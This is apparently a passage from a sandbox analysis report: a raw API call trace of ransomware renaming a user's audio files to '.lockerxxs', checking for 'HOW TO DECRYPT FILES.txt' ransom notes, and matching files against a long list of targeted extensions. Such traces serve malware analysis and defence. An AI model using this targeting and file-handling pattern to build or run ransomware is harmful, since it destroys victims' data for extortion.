HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3.lockerxxs" [0090.796] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\oqxdznkvkeo_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.797] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeb8a [0090.797] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98307b0, dwHighDateTime=0x1d5d979), lpLastAccessTime=0x407536*(dwLowDateTime=0xd4395780, dwHighDateTime=0x1d5dbbc), lpLastWriteTime=0x40753e*(dwLowDateTime=0xd4395780, dwHighDateTime=0x1d5dbbc)) returned 1 [0090.797] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.797] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xeb64, lpOverlapped=0x0) returned 1 [0090.798] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3") returned="OQxDZnkVkEO_.mp3" [0090.799] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.799] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xeb64, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xeb64, lpOverlapped=0x0) returned 1 [0090.799] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.799] CloseHandle (hObject=0x90) returned 1 [0090.800] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\oqxdznkvkeo_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\z eWYYN3jJyxqBYqbuP\\OQxDZnkVkEO_.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\z ewyyn3jjyxqbyqbup\\oqxdznkvkeo_.mp3.lockerxxs")) returned 1 [0090.801] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98307b0, ftCreationTime.dwHighDateTime=0x1d5d979, ftLastAccessTime.dwLowDateTime=0xd4395780, ftLastAccessTime.dwHighDateTime=0x1d5dbbc, ftLastWriteTime.dwLowDateTime=0xd4395780, ftLastWriteTime.dwHighDateTime=0x1d5dbbc, nFileSizeHigh=0x0, nFileSizeLow=0xeb8a, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="OQxDZnkVkEO_.mp3", cAlternateFileName="OQXDZN~1.MP3")) returned 0 [0090.801] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0090.801] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc867e60, ftCreationTime.dwHighDateTime=0x1d5db13, ftLastAccessTime.dwLowDateTime=0x441bd520, ftLastAccessTime.dwHighDateTime=0x1d5dc65, ftLastWriteTime.dwLowDateTime=0x441bd520, ftLastWriteTime.dwHighDateTime=0x1d5dc65, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="z eWYYN3jJyxqBYqbuP", cAlternateFileName="ZEWYYN~1")) returned 0 [0090.801] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.801] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75b0c040, ftCreationTime.dwHighDateTime=0x1d5e1ac, ftLastAccessTime.dwLowDateTime=0xfccd71c0, ftLastAccessTime.dwHighDateTime=0x1d5de75, ftLastWriteTime.dwLowDateTime=0xfccd71c0, ftLastWriteTime.dwHighDateTime=0x1d5de75, nFileSizeHigh=0x0, nFileSizeLow=0x173d1, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="rMmxXDr-JuN1.m4a", cAlternateFileName="RMMXXD~1.M4A")) returned 1 [0090.801] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.801] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rMmxXDr-JuN1.m4a") returned -1 [0090.801] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rMmxXDr-JuN1.m4a") returned -1 [0090.801] lstrcmpiA (lpString1="", lpString2="rMmxXDr-JuN1.m4a") returned -1 [0090.801] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*") returned="*.*" [0090.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0090.802] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="" [0090.802] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" [0090.802] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt")) returned 0x20 [0090.802] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="rMmxXDr-JuN1.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.ems") returned 0 [0090.802] lstrlenA (lpString="*.ems") returned 5 [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.db") returned 0 [0090.802] lstrlenA (lpString="*.db") returned 4 [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.dbf") returned 0 [0090.802] lstrlenA (lpString="*.dbf") returned 5 [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.myox") returned 0 [0090.802] lstrlenA (lpString="*.myox") returned 6 [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.myo") returned 0 [0090.802] lstrlenA (lpString="*.myo") returned 5 [0090.802] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbw") returned 0 [0090.803] lstrlenA (lpString="*.qbw") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbb") returned 0 [0090.803] lstrlenA (lpString="*.qbb") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbm") returned 0 [0090.803] lstrlenA (lpString="*.qbm") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbo") returned 0 [0090.803] lstrlenA (lpString="*.qbo") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbx") returned 0 [0090.803] lstrlenA (lpString="*.qbx") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qba") returned 0 [0090.803] lstrlenA (lpString="*.qba") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qby") returned 0 [0090.803] lstrlenA (lpString="*.qby") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qbj") returned 0 [0090.803] lstrlenA (lpString="*.qbj") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.ofx") returned 0 [0090.803] lstrlenA (lpString="*.ofx") returned 5 [0090.803] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.qif") returned 0 [0090.803] lstrlenA (lpString="*.qif") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mye") returned 0 [0090.804] lstrlenA (lpString="*.mye") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mbox") returned 0 [0090.804] lstrlenA (lpString="*.mbox") returned 6 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.eml") returned 0 [0090.804] lstrlenA (lpString="*.eml") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.pst") returned 0 [0090.804] lstrlenA (lpString="*.pst") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.ost") returned 0 [0090.804] lstrlenA (lpString="*.ost") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.idx") returned 0 [0090.804] lstrlenA (lpString="*.idx") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.dbx") returned 0 [0090.804] lstrlenA (lpString="*.dbx") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.sql") returned 0 [0090.804] lstrlenA (lpString="*.sql") returned 5 [0090.804] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mdb") returned 0 [0090.804] lstrlenA (lpString="*.mdb") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.fdb") returned 0 [0090.805] lstrlenA (lpString="*.fdb") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.wab") returned 0 [0090.805] lstrlenA (lpString="*.wab") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.dat") returned 0 [0090.805] lstrlenA (lpString="*.dat") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.txt") returned 0 [0090.805] lstrlenA (lpString="*.txt") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.jpeg") returned 0 [0090.805] lstrlenA (lpString="*.jpeg") returned 6 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.jpg") returned 0 [0090.805] lstrlenA (lpString="*.jpg") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.png") returned 0 [0090.805] lstrlenA (lpString="*.png") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.php") returned 0 [0090.805] lstrlenA (lpString="*.php") returned 5 [0090.805] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.cs") returned 0 [0090.805] lstrlenA (lpString="*.cs") returned 4 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.cpp") returned 0 [0090.806] lstrlenA (lpString="*.cpp") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.rar") returned 0 [0090.806] lstrlenA (lpString="*.rar") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.zip") returned 0 [0090.806] lstrlenA (lpString="*.zip") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.html") returned 0 [0090.806] lstrlenA (lpString="*.html") returned 6 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.htm") returned 0 [0090.806] lstrlenA (lpString="*.htm") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.xlsx") returned 0 [0090.806] lstrlenA (lpString="*.xlsx") returned 6 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.xls") returned 0 [0090.806] lstrlenA (lpString="*.xls") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mp4") returned 0 [0090.806] lstrlenA (lpString="*.mp4") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.ppt") returned 0 [0090.806] lstrlenA (lpString="*.ppt") returned 5 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.pptx") returned 0 [0090.806] lstrlenA (lpString="*.pptx") returned 6 [0090.806] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.doc") returned 0 [0090.807] lstrlenA (lpString="*.doc") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.dot") returned 0 [0090.807] lstrlenA (lpString="*.dot") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.docx") returned 0 [0090.807] lstrlenA (lpString="*.docx") returned 6 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.7z") returned 0 [0090.807] lstrlenA (lpString="*.7z") returned 4 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.tar") returned 0 [0090.807] lstrlenA (lpString="*.tar") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.bz2") returned 0 [0090.807] lstrlenA (lpString="*.bz2") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.gz") returned 0 [0090.807] lstrlenA (lpString="*.gz") returned 4 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mkv") returned 0 [0090.807] lstrlenA (lpString="*.mkv") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.eml") returned 0 [0090.807] lstrlenA (lpString="*.eml") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.msg") returned 0 [0090.807] lstrlenA (lpString="*.msg") returned 5 [0090.807] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.edb") returned 0 [0090.808] lstrlenA (lpString="*.edb") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.accdb") returned 0 [0090.808] lstrlenA (lpString="*.accdb") returned 7 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.odb") returned 0 [0090.808] lstrlenA (lpString="*.odb") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.java") returned 0 [0090.808] lstrlenA (lpString="*.java") returned 6 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.asm") returned 0 [0090.808] lstrlenA (lpString="*.asm") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.pfx") returned 0 [0090.808] lstrlenA (lpString="*.pfx") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.pem") returned 0 [0090.808] lstrlenA (lpString="*.pem") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.p12") returned 0 [0090.808] lstrlenA (lpString="*.p12") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.gpg") returned 0 [0090.808] lstrlenA (lpString="*.gpg") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.vsd") returned 0 [0090.808] lstrlenA (lpString="*.vsd") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.odg") returned 0 [0090.808] lstrlenA (lpString="*.odg") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.raw") returned 0 [0090.808] lstrlenA (lpString="*.raw") returned 5 [0090.808] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.nef") returned 0 [0090.809] lstrlenA (lpString="*.nef") returned 5 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.svg") returned 0 [0090.809] lstrlenA (lpString="*.svg") returned 5 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.psd") returned 0 [0090.809] lstrlenA (lpString="*.psd") returned 5 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.vmx") returned 0 [0090.809] lstrlenA (lpString="*.vmx") returned 5 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.vmdk") returned 0 [0090.809] lstrlenA (lpString="*.vmdk") returned 6 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.vdi") returned 0 [0090.809] lstrlenA (lpString="*.vdi") returned 5 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.lay6") returned 0 [0090.809] lstrlenA (lpString="*.lay6") returned 6 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mpeg") returned 0 [0090.809] lstrlenA (lpString="*.mpeg") returned 6 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.djvu") returned 0 [0090.809] lstrlenA (lpString="*.djvu") returned 6 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.tiff") returned 0 [0090.809] lstrlenA (lpString="*.tiff") returned 6 [0090.809] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.backup") returned 0 [0090.809] lstrlenA (lpString="*.backup") returned 8 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.pdf") returned 0 [0090.810] lstrlenA (lpString="*.pdf") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.cert") returned 0 [0090.810] lstrlenA (lpString="*.cert") returned 6 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.docm") returned 0 [0090.810] lstrlenA (lpString="*.docm") returned 6 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.xlsm") returned 0 [0090.810] lstrlenA (lpString="*.xlsm") returned 6 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.dwg") returned 0 [0090.810] lstrlenA (lpString="*.dwg") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.nd") returned 0 [0090.810] lstrlenA (lpString="*.nd") returned 4 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.tlg") returned 0 [0090.810] lstrlenA (lpString="*.tlg") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.lgb") returned 0 [0090.810] lstrlenA (lpString="*.lgb") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mov") returned 0 [0090.810] lstrlenA (lpString="*.mov") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.xdw") returned 0 [0090.810] lstrlenA (lpString="*.xdw") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.ods") returned 0 [0090.810] lstrlenA (lpString="*.ods") returned 5 [0090.810] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.wav") returned 0 [0090.811] lstrlenA (lpString="*.wav") returned 5 [0090.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.mp3") returned 0 [0090.811] lstrlenA (lpString="*.mp3") returned 5 [0090.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.aiff") returned 0 [0090.811] lstrlenA (lpString="*.aiff") returned 6 [0090.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.flac") returned 0 [0090.811] lstrlenA (lpString="*.flac") returned 6 [0090.811] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", pszSpec="*.m4a") returned 1 [0090.811] lstrlenA (lpString="*.m4a") returned 5 [0090.811] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" [0090.811] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" [0090.811] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a." [0090.811] lstrcatA 